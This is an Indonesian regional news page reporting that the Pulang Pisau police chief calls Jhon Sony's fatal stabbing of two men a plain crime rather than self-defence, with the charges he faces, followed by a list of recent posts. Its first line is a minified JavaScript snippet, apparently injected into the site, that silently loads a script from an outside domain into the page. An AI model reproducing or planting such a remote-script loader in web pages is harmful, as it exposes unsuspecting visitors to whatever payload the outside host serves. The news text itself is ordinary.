(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PULPIS

Kapolres Pulpis Sebut Aksi Pembunuhan oleh Jhon Sony Murni Kriminal


PULANG PISAU, Dalam pengakuannya Jhon Sony alias Oco warga Sei Hanyu Kapuas Hulu menusuk hingga tewas Hendra dan Enjel Okto Renaldy karena merasa dipalak dan terancam oleh korban. Namun Kapolres Pulang Pisau Kapolres Pulang Pisau AKBP Siswo Yuwono Bima Putra Mada, menyebut tindakan tersebut sebagai aksi kriminal berat. Hal tersebut ditegaskan orang nomor satu di Korps Bhayangkara Pulpis tersebut saat pihaknya melakukan pendalaman dalam kasus tersebut.
“Jhon Sony alias Oco ini bukan dalam hal melakukan pembelaan diri, namun murni kriminal. Karena sebelum aksi penusukan tersebut tidak ada tindak penganiyaan yang dilakukan korban pada pelaku. Kedua, pelaku sengaja mempersenjatai diri dengan sajam berupa pisau yang selalu dibawa kemana-mana. Sehingga tindakan penganiyaan berat hingga penusukan dengan mudah terjadi,” ungkap Siswo Yuwono.
Dirinya membandingkan aksi pembelaan diri yang berakibat meninggalnya nyawa seseorang di daerah Bekasi yang dulu sempat viral dengan peristiwa yang dilakukan Jhon Sony. Pada kasus bekasi, dikatakan pria yang sebelumnya pernah menjadi Kasat Reskrim Polres Jakarta Pusat ini, pelaku memang mendapat penganiyaan oleh kawanan begal dan terluka.
Pada saat itu, pelaku posisi terdesak, tidak mungkin bisa melarikan diri. Pelaku juga tidak memiliki senjata tajam, bahkan pelaku justru sempat merebut sajam yang dipakai begal untuk melukai mereka. “Pada peristiwa yang terjadi di daerah Bawan ini, pelaku justru bertindak lebih dulu melakukan penganiyaan berat hingga menghilangkan nyawa orang lain. Dalam posisi penganiyaan, jika masih ada peluang untuk melarikan diri, seharusnya itu yang pertama kali lakukan. Tersangka akan dikenakan Pasal berlapis, 338 KUHP Pidana karena sengaja menghilangkan jiwa orang lain dengan ancaman penjara selama-Iamanya 15 tahun dan Pasal 351 ayat (3) KUHP Pidana tentang penganiayaan yang menjadikan matinya orang lain dengan ancaman penjara selama-Iamanya 7 tahun,” tutur Kapolres. ( Sjy)

Reporter:Sjy
Editor:Cell

Desy Arfianty

Recent Posts

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

6 menit ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

1 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

3 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

3 jam ago

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

18 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

18 jam ago

This website uses cookies.